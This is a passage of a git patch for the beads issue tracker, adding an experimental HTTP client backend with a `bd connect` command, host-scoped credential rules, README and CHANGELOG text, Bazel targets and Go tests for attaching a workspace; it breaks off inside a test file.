names the verified commands, and the README and CHANGELOG say how cross-repo dependencies behave over http. Minors from the reviews: - Drop creationActorStamp/isRemoteBackendWorkspace and restore the base stamps at all 11 sites. The arm guarded a refusal the http create role does not make: since #7247 (actorStampedCreateMember) it accepts a CreatedBy naming the actor. Because the arm keyed on the CWD workspace, a create routed from an http workspace into a local one (--repo) stored an empty created_by. TestE2E_BDOverHTTP checks created_by for a direct and a routed create; the routed check is red with the arm restored. The CHANGELOG sentence describing the arm goes with it. - bdhttp.Attach decides a reconnect from the raw metadata.json backend. GetBackend() reads an unregistered "http" as the dolt default, so in an embedder that never called Register a reconnect recorded dolt as the backend --clear restores. The reconnect test now seeds postgres (TestAttachOnAReconnectKeepsTheEarlierPreviousBackend) and is red with the old check. - README, CHANGELOG and `bd connect --help` document the host-scoped BEADS_HTTP_TOKEN=host[:port]= form (and _COMMAND), and say why a bare value is refused. - bdhttp.Attach also gitignores http_local_metadata.json, the per-user file the store writes on first use, so an embedder activating through Attach alone gets the coverage `bd connect` already had. TestAttachGitignoresBothPerUserFiles pins it. - ServerSnapshot.WireRevision's doc names the handshake's actual check instead of a comparison `bd connect` never makes. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * test(backend/http): give the e2e server the LeaseReclaimer role #7412 added to the required set main's #7412 made LeaseReclaimer part of httpapi's required role set and updated main's own binders, but backend/http's e2eServeConfig predates it, so every TestE2E_* that binds the in-process server failed with "httpapi: no database source". Same shape as e63f7da36a for BatchGetter. Co-Authored-By: Claude Opus 5.5 * fix(externaldeps): lead the --claim-next refusal with the wire fact; pin the L14 leg and connect --clear Review i4 minors/nits on the stranded fixup, carried as a separate commit: - remoteBatchCloser's --claim-next refusal now says the served batch close cannot carry a next claim (the real cause), rather than blaming externally blocked work a workspace may not have. The test asserts the reason, that nothing closed, and the remedy. - GetDependencyTree's doc says a served store refuses its reads and that bd dep tree goes through remoteTreeWalker. - README no longer gives `bd ready --claim` local semantics everywhere; it names when ledger row L14's two-step claim applies. - TestE2E_BDOverHTTP claims once more after the external-ref holder is closed, pinning L14's composed leg (a mutant whose composed leg claims nothing turns only that step red). - New TestE2E_ConnectClearRestoresThePreviousBackend: --clear restores the prior dolt backend with its identity intact, removes the sidecar, and a second --clear changes nothing. Co-Authored-By: Claude Opus 5.5 * test(backend/http): run the served e2e under bazel //backend/http:http_test declared no bd binary, so under bazel the e2e files (bazeltest.PrebuiltBD) failed on BEADS_TEST_BD_BINARY with BEADS_HTTP_TEST_REQUIRED=1 and only "passed" by skipping otherwise. It now takes //cmd/bd:bd_for_tests (visibility added), size large / timeout long: the served cases run 4-5 minutes on the farm under BEADS_TEST_EMBEDDED_DOLT=1. Co-Authored-By: Claude Opus 5.5 * test(backend/http): run the e2e tier in the embedded lane as http_served_test The previous commit gives //backend/http:http_test the bd binary, but no lane sets BEADS_TEST_EMBEDDED_DOLT for it, so its TestE2E_* cases still skipped in CI. http_served_test runs the same test binary through //tools/bazel:go_test_variant.sh with BEADS_TEST_EMBEDDED_DOLT=1 and BEADS_HTTP_TEST_REQUIRED=1 (a skip fails it). It is tagged embedded, so the --config=embedded lane runs it and prcore/ci keep their current shape, the same split as //internal/httpclient:httpclient_served_test. Under plain --config=embedded all 8 TestE2E_* cases run, none skipped. TestBazelRetiredLanesCannotBeNarrowed pins every embedded-lane target's args and env; the new target is added to that pin list. Co-Authored-By: Claude Opus 5.5 * fix(externaldeps): cap the ready rows kept, not the bumped http window An http store cannot carry ExcludeIDs on listReadyWork, so readyExclusion fetches the unfiltered ready set, widened by len(blocked) under a limit, and drops the externally blocked rows client-side. The http ready bridge enforced MaxRows on the rows it fetched rather than the rows kept. So `bd ready --limit N --max-rows N` exited 2 whenever more than N issues were ready and any workspace issue held an unsatisfied external blocker (a closed one counts), even with no blocked row in the window, and a blocked row in the page counted against the cap although the caller never sees it. Locally neither can happen: issueops enforces the cap on the filtered page it delivers, after the Limit trim (finishReadyWorkWithCounts). The client-side path now takes MaxRows off the inner query and enforces the caller's cap on the rows it keeps, after the trim, in all three listings. The inner query keeps the cap whenever nothing is dropped client-side. MaxRows never rode the wire, so the fetch is the size it was; refetchedReadyTotal already clears the cap on its own over-fetch. TestServedReadyMaxRowsCountsTheRowsKept runs the decorator over a served http store holding three free issues and one externally blocked one: a cap equal to the limit, a cap under a wider limit, an unlimited listing, and a kept page wider than the cap, which must still return ErrTooManyRows with the caller's cap and source. Each case runs through GetReadyWork, GetReadyWorkWithCounts and GetReadyWorkWithCountsAndTotal. Leaving the cap on the inner query fails the first three cases in all three methods, dropping the re-applied cap fails the fourth, and enforcing it before the Limit trim fails the first. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Eddie the Engineer --- BUILD.bazel | 8 + CHANGELOG.md | 41 + README.md | 70 ++ backend/http/BUILD.bazel | 149 +++ backend/http/attach.go | 133 +++ backend/http/attach_test.go | 180 +++ backend/http/credential.go | 57 + backend/http/e2e_cli_test.go | 1059 +++++++++++++++++ backend/http/errors.go | 111 ++ backend/http/http.go | 216 ++++ backend/http/open_test.go | 235 ++++ backend/http/register_test.go | 318 +++++ backend/http/target.go | 41 + cmd/bd/BUILD.bazel | 5 + cmd/bd/capability_registry.go | 2 +- cmd/bd/connect.go | 324 +++++ cmd/bd/context_cmd.go | 15 +- cmd/bd/doctor/gitignore.go | 7 +- cmd/bd/http_backend.go | 16 + cmd/bd/main.go | 23 + cmd/bd/storage_chain.go | 11 + engdocs/design/http-divergence-ledger.md | 8 +- internal/gitignore/BUILD.bazel | 10 +- internal/gitignore/ensure.go | 42 + internal/gitignore/ensure_test.go | 64 + internal/httpclient/BUILD.bazel | 6 + internal/httpclient/completeness_test.go | 1 - internal/httpclient/credential.go | 19 +- internal/httpclient/dial.go | 22 + internal/httpclient/dial_test.go | 5 + internal/httpclient/encode/ledger.go | 19 +- .../httpclient/insecure_credential_guard.go | 116 ++ .../insecure_credential_guard_test.go | 251 ++++ internal/httpclient/metadata.go | 5 +- internal/httpclient/open_with.go | 69 ++ internal/httpclient/open_with_test.go | 67 ++ internal/httpclient/roles_graph.go | 100 ++ .../served_external_dependency_policy_test.go | 492 ++++++++ internal/httpclient/store.go | 54 + internal/httpclient/target.go | 77 +- internal/httpclient/target_test.go | 61 + internal/httpclient/unsupported_gen.go | 7 +- internal/httpclient/wire/handshake.go | 22 +- internal/storage/externaldeps/BUILD.bazel | 2 + internal/storage/externaldeps/batch_closer.go | 5 + internal/storage/externaldeps/decorator.go | 260 +++- .../storage/externaldeps/decorator_test.go | 292 ++++- internal/storage/externaldeps/remote_roles.go | 412 +++++++ .../storage/externaldeps/remote_roles_test.go | 636 ++++++++++ .../storage/externaldeps/role_accessors.go | 29 +- internal/storage/storage.go | 49 + scripts/pr_risk_bazel_coverage_test.go | 4 + test/embedder/BUILD.bazel | 73 ++ test/embedder/embedder_test.go | 253 ++++ tools/bazel/BUILD.bazel | 1 + 55 files changed, 6472 insertions(+), 82 deletions(-) create mode 100644 backend/http/BUILD.bazel create mode 100644 backend/http/attach.go create mode 100644 backend/http/attach_test.go create mode 100644 backend/http/credential.go create mode 100644 backend/http/e2e_cli_test.go create mode 100644 backend/http/errors.go create mode 100644 backend/http/http.go create mode 100644 backend/http/open_test.go create mode 100644 backend/http/register_test.go create mode 100644 backend/http/target.go create mode 100644 cmd/bd/connect.go create mode 100644 cmd/bd/http_backend.go create mode 100644 internal/gitignore/ensure.go create mode 100644 internal/gitignore/ensure_test.go create mode 100644 internal/httpclient/insecure_credential_guard.go create mode 100644 internal/httpclient/insecure_credential_guard_test.go create mode 100644 internal/httpclient/open_with.go create mode 100644 internal/httpclient/open_with_test.go create mode 100644 internal/httpclient/served_external_dependency_policy_test.go create mode 100644 internal/storage/externaldeps/remote_roles.go create mode 100644 internal/storage/externaldeps/remote_roles_test.go create mode 100644 test/embedder/BUILD.bazel create mode 100644 test/embedder/embedder_test.go diff --git a/BUILD.bazel b/BUILD.bazel index 134a91d1d..104409817 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -299,6 +299,7 @@ filegroup( ) + [ "//backend:repo_doc_files", "//backend/conformance:repo_doc_files", + "//backend/http:repo_doc_files", "//beadserrors:repo_doc_files", "//cmd/bd:repo_doc_files", "//cmd/bd/doctor:repo_doc_files", @@ -442,6 +443,7 @@ filegroup( "//scripts/workflowtags:repo_doc_files", "//test/conformance:repo_doc_files", "//test/docsync:repo_doc_files", + "//test/embedder:repo_doc_files", "//test/testmainconvention:repo_doc_files", "//tests/hook_timeout_backends:repo_doc_files", "//tests/migration:repo_doc_files", @@ -530,6 +532,7 @@ filegroup( ) + [ "//backend:repo_go_srcs", "//backend/conformance:repo_go_srcs", + "//backend/http:repo_go_srcs", "//beadserrors:repo_go_srcs", "//cmd/bd:repo_go_srcs", "//cmd/bd/doctor:repo_go_srcs", @@ -673,6 +676,7 @@ filegroup( "//scripts/workflowtags:repo_go_srcs", "//test/conformance:repo_go_srcs", "//test/docsync:repo_go_srcs", + "//test/embedder:repo_go_srcs", "//test/testmainconvention:repo_go_srcs", "//tests/hook_timeout_backends:repo_go_srcs", "//tests/migration:repo_go_srcs", @@ -746,6 +750,7 @@ filegroup( ) + [ "//backend:repo_go_test_srcs", "//backend/conformance:repo_go_test_srcs", + "//backend/http:repo_go_test_srcs", "//beadserrors:repo_go_test_srcs", "//cmd/bd:repo_go_test_srcs", "//cmd/bd/doctor:repo_go_test_srcs", @@ -889,6 +894,7 @@ filegroup( "//scripts/workflowtags:repo_go_test_srcs", "//test/conformance:repo_go_test_srcs", "//test/docsync:repo_go_test_srcs", + "//test/embedder:repo_go_test_srcs", "//test/testmainconvention:repo_go_test_srcs", "//tests/hook_timeout_backends:repo_go_test_srcs", "//tests/migration:repo_go_test_srcs", @@ -971,6 +977,7 @@ filegroup( ) + [ "//backend:repo_other_files", "//backend/conformance:repo_other_files", + "//backend/http:repo_other_files", "//beadserrors:repo_other_files", "//cmd/bd:repo_other_files", "//cmd/bd/doctor:repo_other_files", @@ -1114,6 +1121,7 @@ filegroup( "//scripts/workflowtags:repo_other_files", "//test/conformance:repo_other_files", "//test/docsync:repo_other_files", + "//test/embedder:repo_other_files", "//test/testmainconvention:repo_other_files", "//tests/hook_timeout_backends:repo_other_files", "//tests/migration:repo_other_files", diff --git a/CHANGELOG.md b/CHANGELOG.md index 20024c147..7945855c7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -135,6 +135,47 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 will not send, and value constraints (`maxLength`, `pattern` and the like) are outside the digest: such changes need their own review against `wire_revision`. +- `cmd/bd` registers the http client backend built on top of the v0 `bd + serve` wire (`internal/httpclient`), so a workspace whose + `.beads/metadata.json` selects `"backend": "http"` opens over HTTP through + the ordinary `OpenBestAvailable` path, exactly like a registered extension + backend does. A new `bd connect ` command performs the handshake + (`api_version`, wire revision, and — with `--expect-project-id` — workspace + identity) and writes nothing until it succeeds; it then records the + per-user activation sidecar (`.beads/http_target.json`, never + git-tracked — `cmd/bd/doctor/gitignore.go` now requires it and its local + metadata sidecar `http_local_metadata.json` be ignored) and sets + `metadata.json`'s backend to `"http"`. `bd connect` refuses a plain `http://` + URL to a non-loopback host (a bearer credential would cross the network in + the clear) unless `--allow-plaintext` is given, and refuses to switch a + workspace that already selects a different backend unless `--force`. A + credential is never accepted on the command line or written to disk; it + comes from the same ladder every http request already uses + (`BEADS_HTTP_TOKEN=host[:port]=`, then + `BEADS_HTTP_TOKEN_COMMAND=host[:port]=`, then the credentials + file, then none); both variables take only that host-scoped form, and a + bare value is refused, since it would be sent to whatever server the + workspace's `http_target.json` names. The external-dependency policy + decorator (`internal/storage/externaldeps`) still wraps an http store, and + stands down only when the server's handshake advertises + `policy.external_dependencies` (that server has already applied the policy + before answering); against any other server it applies the policy + client-side, around the http store's own served roles. Externally blocked + issues drop out of `bd ready`'s page, total, and count (the v0 wire cannot + express an id exclusion) and out of `bd ready --claim`, `bd close` refuses + them without `--force`, and `bd dep tree` shows their external leaves. + `bd close --claim-next` refuses over http before anything closes, since + the wire's batch close cannot carry the claim; its error says to close + without it and then run `bd ready --claim`. +- The public `backend/http` package (`bdhttp`) is the out-of-tree door onto + this backend for an embedder that links beads as a library rather than + running `cmd/bd`: `Register(Options)` adds `"http"` to the registry and + installs its transport, `Open`/`Handshake` dial a server directly with no + workspace on disk, and the existing public `beads.OpenBestAvailableWith` + takes a per-call `OpenOptions.Credential` through it — the case a + multi-tenant embedder serving many workspaces needs, where a + process-global credential cannot stand in for one tenant's own. + EXPERIMENTAL, pin an exact beads version. ### Changed diff --git a/README.md b/README.md index d54c13949..efe3f223b 100644 --- a/README.md +++ b/README.md @@ -175,6 +175,76 @@ are unaffected. the guard with a warning on stderr. Use this only if you know the forward migrations are additive and safe for your specific workload. +## 🔌 HTTP Backend (experimental) + +A workspace can also talk to a remote `bd serve` over HTTP instead of opening +a local Dolt database — useful for a thin client against a shared server, or +for embedding beads in another program as a library. + +```bash +# Point this workspace at a server (verifies the server first; writes nothing on failure) +bd connect https://bd.example.com --expect-project-id my-project + +# The everyday commands work the same way: create, show, list, update, close, +# dependencies (including `bd dep tree`), comments, ready/count queries, and +# batch apply all round-trip over the wire with the same semantics as a local +# database. So does `bd ready --claim`, except against an older server or while +# any issue holds an unsatisfied external ref: then it lists and claims in two +# steps rather than one transaction (ledger row L14, linked below). +bd create "Fix auth bug" -p 1 -t bug +bd ready --json +bd close bd-a1b2 "Fixed" + +# Loopback needs no TLS +bd connect http://127.0.0.1:8080 + +# Forget the server and restore this workspace's previous backend selection +bd connect --clear +``` + +HTTP mode is not a byte-for-byte mirror of local mode, though: some +operations are knowingly refused (the wire has no way to express them) or +degrade to a different-but-not-misreadable behavior (for example, a few +unbounded listing shapes lose single-query snapshot isolation and instead +walk the server page by page). Every one of these is a deliberate, tested +row, never a silent gap — see +[`engdocs/design/http-divergence-ledger.md`](engdocs/design/http-divergence-ledger.md) +for the full, generated list of what differs and why before depending on an +HTTP-backed workspace for a workflow you haven't checked against it. One +refusal to know up front: `bd close --claim-next` closes nothing over HTTP, +because the wire's batch close cannot carry the claim. Close without it, then +run `bd ready --claim`. + +[Cross-repo dependencies](docs/core-concepts/dependencies.md#cross-repo-dependencies) +keep their policy over HTTP. The client resolves each `external:` reference +against its own `external_projects` configuration. `bd dep tree` shows the +reference as a leaf, and while it is unsatisfied the issue stays out of +`bd ready` and `bd ready --claim`, and `bd close` refuses it without +`--force`. A server that advertises enforcing that policy itself is trusted +to do so instead. + +`bd connect` writes two things on success: `.beads/metadata.json` gets +`"backend": "http"`, and a per-user, never-git-tracked sidecar +(`.beads/http_target.json`) records the server URL and pinned project id. It +never writes a credential to disk. A bearer credential, if the server +requires one, comes from `BEADS_HTTP_TOKEN=host[:port]=`, then +`BEADS_HTTP_TOKEN_COMMAND=host[:port]=` (a helper that prints a +token), then the credentials file, then no credential at all. Both variables +must name the server they are for (a pattern without a port matches that +host on any port); a bare value is refused, because it would be sent to +whatever server the workspace's `http_target.json` names. Connecting to a +non-loopback server over plain `http://` is refused by default (a bearer +credential would cross the network unencrypted) — pass `--allow-plaintext` to +override, or use `https://`. Switching a workspace that already selects a +different backend needs `--force`. + +An embedding program that links beads as a library rather than running +`cmd/bd` registers this backend itself through the public +[`backend/http`](backend/http) package (`bdhttp.Register`), and can open a +workspace with a credential scoped to one caller via +`beads.OpenBestAvailableWith` — see that package's doc comment for the +multi-tenant case. This surface is EXPERIMENTAL: pin an exact beads version. + ## 🌐 Community Tools See [docs/community-tools.md](docs/community-tools.md) for a curated list of community-built UIs, extensions, and integrations—including terminal interfaces, web UIs, editor extensions, and native apps. diff --git a/backend/http/BUILD.bazel b/backend/http/BUILD.bazel new file mode 100644 index 000000000..3411699a1 --- /dev/null +++ b/backend/http/BUILD.bazel @@ -0,0 +1,149 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") + +go_library( + name = "http", + srcs = [ + "attach.go", + "credential.go", + "errors.go", + "http.go", + "target.go", + ], + importpath = "github.com/steveyegge/beads/backend/http", + visibility = ["//visibility:public"], + deps = [ + "//backend", + "//internal/configfile", + "//internal/gitignore", + "//internal/httpapi/apigen", + "//internal/httpclient", + "//internal/httpclient/wire", + "//internal/storage/backends", + ], +) + +go_test( + name = "http_test", + # The served e2e cases run ~4-5 min on the farm under + # BEADS_TEST_EMBEDDED_DOLT=1, past the medium 300s action limit. + size = "large", + timeout = "long", + srcs = [ + "attach_test.go", + "e2e_cli_test.go", + "open_test.go", + "register_test.go", + ], + # The e2e files exec the real bd (bazeltest.PrebuiltBD); they run under + # BEADS_TEST_EMBEDDED_DOLT=1 and skip otherwise. + data = ["//cmd/bd:bd_for_tests"], + env = {"BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)"}, + deps = [ + ":http", + "//backend", + "//internal/configfile", + "//internal/httpapi", + "//internal/httpclient", + "//internal/storage", + "//internal/storage/backends", + "//internal/storage/domain", + "//internal/storage/embeddeddolt", + "//internal/testutil/bazeltest", + ], +) + +# http_test again, with the e2e tier on: BEADS_TEST_EMBEDDED_DOLT=1 starts the +# in-process server over embedded Dolt and BEADS_HTTP_TEST_REQUIRED=1 turns a +# skip of that tier into a failure. http_test alone skips the TestE2E_* cases +# in every lane, because no lane sets those variables for it. It repeats +# http_test's `env` (go_test_variant.sh). +# +# Tags: +# embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, +# selected by --config=embedded. +sh_test( + name = "http_served_test", + size = "large", + # -test.timeout=19m fires (with a goroutine dump) before Bazel's 1200s + # action limit (eternal under --config=embedded). + timeout = "eternal", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = [ + "$(rootpath :http_test)", + "-test.v", + "-test.count=1", + "-test.timeout=19m", + ], + data = [ + ":http_test", + "//cmd/bd:bd_for_tests", + ], + env = { + "BEADS_HTTP_TEST_REQUIRED": "1", + "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", + "BEADS_TEST_EMBEDDED_DOLT": "1", + }, + tags = ["embedded"], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +# --- end repo_files --- diff --git a/backend/http/attach.go b/backend/http/attach.go new file mode 100644 index 000000000..f2175ff5f --- /dev/null +++ b/backend/http/attach.go @@ -0,0 +1,133 @@ +// Written fresh for OSS beads S6 (no bd-enterprise source copied): closes the +// S6 review's MED-8 finding, which asked for one public helper an embedder +// (or `bd connect`) can call to activate a workspace for this backend, +// instead of each caller hand-assembling the two-file write itself. +package bdhttp + +import ( + "context" + "fmt" + + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/gitignore" + "github.com/steveyegge/beads/internal/httpclient" +) + +// Attach activates the http backend for the workspace at beadsDir: it writes +// the per-user activation sidecar (SaveTarget) pinning target's server and +// project, then sets the workspace's git-tracked backend selection in +// metadata.json to this backend, preserving every other configured field +// (database, project id, ...) and creating a fresh default metadata.json only +// when none exists yet. Both files are written atomically (temp file plus +// rename, 0600): see SaveTarget and configfile.Config.Save. +// +// Unless the caller already set target.PreviousBackend, Attach fills it in +// from the workspace's PRIOR backend selection, so `bd connect --clear` can +// restore it later; see that field's doc. +// +// Attach does NOT verify target itself — it has no network access and takes +// target on faith. A caller MUST call Handshake (or httpclient.Handshake) +// against target first and only call Attach once that succeeds; attaching an +// unverified target lets a workspace record a server that is wrong, hostile, +// or simply never answers. Connect, below, does both in the right order and +// is the easier door for a caller that does not need them split. +// +// Attach does not create beadsDir itself — MkdirAll is the caller's job, same +// as SaveTarget's own precondition. It DOES ensure both of this backend's +// per-user filenames are covered by beadsDir's .gitignore +// (gitignore.EnsurePatternIgnored): the sidecar, and +// httpclient.LocalMetadataFileName, which the store writes on first use. That +// is the same guarantee `bd connect` makes via doctor.EnsureGitignoreForBeadsDir +// — but through a small, independent implementation here rather than +// importing cmd/bd/doctor, whose package as a whole pulls in dolt and +// git-process dependencies that would break backend/http's promise of a +// minimal dependency footprint for an embedder. The two are complementary and +// idempotent together. +// +// It is the one place that writes BOTH of the files that activate beads/http +// (the sidecar and metadata.json's backend selection; the local metadata file +// is the store's own), so a caller that used to hand-assemble the pair +// (`bd connect`'s own connectCmd.RunE, test/embedder's linkage proof) can call +// this instead and stay correct across a future change to either file's shape. +func Attach(beadsDir string, target Target) error { + cfg, err := configfile.Load(beadsDir) + if err != nil { + return fmt.Errorf("reading %s: %w", configfile.ConfigFileName, err) + } + if cfg == nil { + cfg = configfile.DefaultConfig() + } + // target.PreviousBackend (bee-ghosttrack CHANGES_REQUESTED on #7288, + // should-fix 1) is what `bd connect --clear` restores metadata.json's + // backend selection to. A caller rarely sets it itself (connect.go + // doesn't), so fill it in here unless the workspace is ALREADY on this + // backend — a re-connect (a new URL, or re-pinning the same one) must + // not overwrite an earlier recorded previous backend with "http" itself, + // or a chain of reconnects would forget what to restore and --clear + // would land back on http with no sidecar. Carry the ALREADY-recorded + // value forward instead; a failed or missing read just leaves it "", + // the same as a workspace with nothing to restore. The check reads the + // raw field: in a process that never ran Register, GetBackend() reports an + // http workspace as the dolt default, and the reconnect would record that. + if target.PreviousBackend == "" { + if cfg.Backend == httpclient.Backend { + if prior, err := httpclient.LoadTarget(beadsDir); err == nil { + target.PreviousBackend = prior.PreviousBackend + } + } else { + target.PreviousBackend = cfg.GetBackend() + } + } + if err := SaveTarget(beadsDir, target); err != nil { + return fmt.Errorf("writing %s: %w", httpclient.TargetFileName, err) + } + // Both of this backend's per-user files: the sidecar just written, and + // the local metadata file the store itself writes on first use, which + // never passes through here and so must be covered in advance. + for _, name := range []string{httpclient.TargetFileName, httpclient.LocalMetadataFileName} { + if err := gitignore.EnsurePatternIgnored(beadsDir, name); err != nil { + return fmt.Errorf("ensuring %s is gitignored: %w", name, err) + } + } + // Only the backend SELECTION changes here. cfg.Database/cfg.ProjectID (if + // an existing metadata.json carried them for a different, prior backend) + // are left exactly as loaded — see connect.go's own comment on this same + // hazard: this backend's identity lives entirely in the sidecar just + // written above, and clobbering those fields would corrupt a future + // `bd connect --clear` back to a different backend. + cfg.Backend = httpclient.Backend + if err := cfg.Save(beadsDir); err != nil { + return fmt.Errorf("writing %s: %w", configfile.ConfigFileName, err) + } + return nil +} + +// Connect is Handshake followed by Attach: it verifies target — the same +// server-identity check `bd connect` performs before it ever writes +// anything — and only then activates the workspace. It is the convenience +// door for a caller that wants Attach's ordering guarantee (never attach a +// workspace to a server this process has not handshaken) without composing +// Handshake and Attach itself. +// +// Mirroring `bd connect`'s own project-id pinning: if target.ExpectProjectID +// is empty, Connect pins it to whatever project the server answered with +// before calling Attach, so the workspace is tied to that project from this +// call on. If it is already set, Handshake itself refuses a mismatch and +// Connect returns that error without calling Attach at all. Connect does not +// replicate `bd connect`'s other CLI-level policy — --force re-pinning an +// already-attached workspace, or refusing to switch a workspace from a +// different backend — those stay the command's own job; Connect's contract +// is exactly "handshake, then attach". +func Connect(ctx context.Context, beadsDir string, target Target, opts Options) (*ServerSnapshot, error) { + snapshot, err := Handshake(ctx, target, opts) + if err != nil { + return nil, err + } + if target.ExpectProjectID == "" { + target.ExpectProjectID = snapshot.ProjectID + } + if err := Attach(beadsDir, target); err != nil { + return nil, err + } + return snapshot, nil +} diff --git a/backend/http/attach_test.go b/backend/http/attach_test.go new file mode 100644 index 000000000..7594b3240 --- /dev/null +++ b/backend/http/attach_test.go @@ -0,0 +1,180 @@ +package bdhttp_test + +// Written fresh for OSS beads S6: pins the bee-ghosttrack CHANGES_REQUESTED +// finding on #7288, should-fix 1 — `bd connect --clear` restoring a +// workspace's previous backend selection needs Attach to have recorded what +// that previous backend WAS, onto the sidecar, at connect time. + +import ( + "net/url" + "os" + "path/filepath" + "strings" + "testing" + + bdhttp "github.com/steveyegge/beads/backend/http" + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/httpclient" +) + +func mustAttachTestURL(t *testing.T, raw string) *url.URL { + t.Helper() + u, err := url.Parse(raw) + if err != nil { + t.Fatalf("url.Parse(%q): %v", raw, err) + } + return u +} + +// TestAttachRecordsThePriorBackendAsPreviousBackend is the first-connect +// case: a workspace that selected "dolt" before ever running `bd connect` +// must have Attach record "dolt" as PreviousBackend, so --clear can restore +// it later. +func TestAttachRecordsThePriorBackendAsPreviousBackend(t *testing.T) { + beadsDir := t.TempDir() + cfg := &configfile.Config{Backend: "dolt", Database: "beads.db"} + if err := cfg.Save(beadsDir); err != nil { + t.Fatalf("seed metadata.json: %v", err) + } + + target := bdhttp.Target{BaseURL: mustAttachTestURL(t, "http://127.0.0.1:8080")} + if err := bdhttp.Attach(beadsDir, target); err != nil { + t.Fatalf("Attach: %v", err) + } + + got, err := bdhttp.LoadTarget(beadsDir) + if err != nil { + t.Fatalf("LoadTarget: %v", err) + } + if got.PreviousBackend != "dolt" { + t.Errorf("PreviousBackend = %q, want %q", got.PreviousBackend, "dolt") + } + + after, err := configfile.Load(beadsDir) + if err != nil { + t.Fatalf("reload metadata.json: %v", err) + } + // Asserts on the raw stored field, not GetBackend(): GetBackend() falls + // back to BackendDolt for any name backendnames.Has doesn't recognize + // (TestGetBackendAllowlist in internal/configfile), and "http" is only + // ever added there by bdhttp.Register/httpclient.Register — a + // once-per-process, panics-on-duplicate production wiring call this test + // package must not make. The raw field is exactly what Attach controls. + if after.Backend != httpclient.Backend { + t.Errorf("metadata.json backend = %q after Attach, want %q", after.Backend, httpclient.Backend) + } +} + +// TestAttachOnAFreshWorkspaceRecordsTheImplicitDoltDefault covers a +// workspace with no metadata.json at all: GetBackend()'s own default +// ("dolt") is what a future --clear restores to, matching what every other +// backend-selection read in this codebase already treats as this +// workspace's backend. +func TestAttachOnAFreshWorkspaceRecordsTheImplicitDoltDefault(t *testing.T) { + beadsDir := t.TempDir() + target := bdhttp.Target{BaseURL: mustAttachTestURL(t, "http://127.0.0.1:8080")} + if err := bdhttp.Attach(beadsDir, target); err != nil { + t.Fatalf("Attach: %v", err) + } + got, err := bdhttp.LoadTarget(beadsDir) + if err != nil { + t.Fatalf("LoadTarget: %v", err) + } + if got.PreviousBackend != "dolt" { + t.Errorf("PreviousBackend = %q, want %q (configfile.BackendDolt)", got.PreviousBackend, "dolt") + } +} + +// TestAttachOnAReconnectKeepsTheEarlierPreviousBackend covers a workspace +// ALREADY on http (a bare re-connect, or --force re-pinning the same +// backend): Attach must not overwrite an already-recorded PreviousBackend +// with "http" itself, or a chain of reconnects would forget what --clear is +// supposed to restore. +func TestAttachOnAReconnectKeepsTheEarlierPreviousBackend(t *testing.T) { + beadsDir := t.TempDir() + // Not dolt: an unregistered "http" reads back through GetBackend() as the + // dolt default, so a dolt prior could not tell carrying it forward from + // recording that default. + cfg := &configfile.Config{Backend: "postgres", Database: "beads.db"} + if err := cfg.Save(beadsDir); err != nil { + t.Fatalf("seed metadata.json: %v", err) + } + + first := bdhttp.Target{BaseURL: mustAttachTestURL(t, "http://127.0.0.1:8080")} + if err := bdhttp.Attach(beadsDir, first); err != nil { + t.Fatalf("first Attach: %v", err) + } + + // A second connect to a different url, same workspace, same backend + // ("http", already selected) — the shape `bd connect --force` to a new + // server produces for an already-http workspace. + second := bdhttp.Target{BaseURL: mustAttachTestURL(t, "http://127.0.0.1:9090")} + if err := bdhttp.Attach(beadsDir, second); err != nil { + t.Fatalf("second Attach: %v", err) + } + + got, err := bdhttp.LoadTarget(beadsDir) + if err != nil { + t.Fatalf("LoadTarget: %v", err) + } + if got.PreviousBackend != "postgres" { + t.Errorf("PreviousBackend after a reconnect = %q, want the original %q carried forward, not the just-left \"http\"", got.PreviousBackend, "postgres") + } + if got.BaseURL.String() != "http://127.0.0.1:9090" { + t.Errorf("BaseURL = %q, want the second connect's url", got.BaseURL.String()) + } +} + +// TestAttachHonorsACallerSuppliedPreviousBackend covers Connect's doc +// contract: a caller that already set target.PreviousBackend itself (none +// of this package's own callers do today) must have that value win over +// Attach's own inference. +func TestAttachHonorsACallerSuppliedPreviousBackend(t *testing.T) { + beadsDir := t.TempDir() + cfg := &configfile.Config{Backend: "dolt", Database: "beads.db"} + if err := cfg.Save(beadsDir); err != nil { + t.Fatalf("seed metadata.json: %v", err) + } + + target := bdhttp.Target{BaseURL: mustAttachTestURL(t, "http://127.0.0.1:8080"), PreviousBackend: "mysql"} + if err := bdhttp.Attach(beadsDir, target); err != nil { + t.Fatalf("Attach: %v", err) + } + got, err := bdhttp.LoadTarget(beadsDir) + if err != nil { + t.Fatalf("LoadTarget: %v", err) + } + if got.PreviousBackend != "mysql" { + t.Errorf("PreviousBackend = 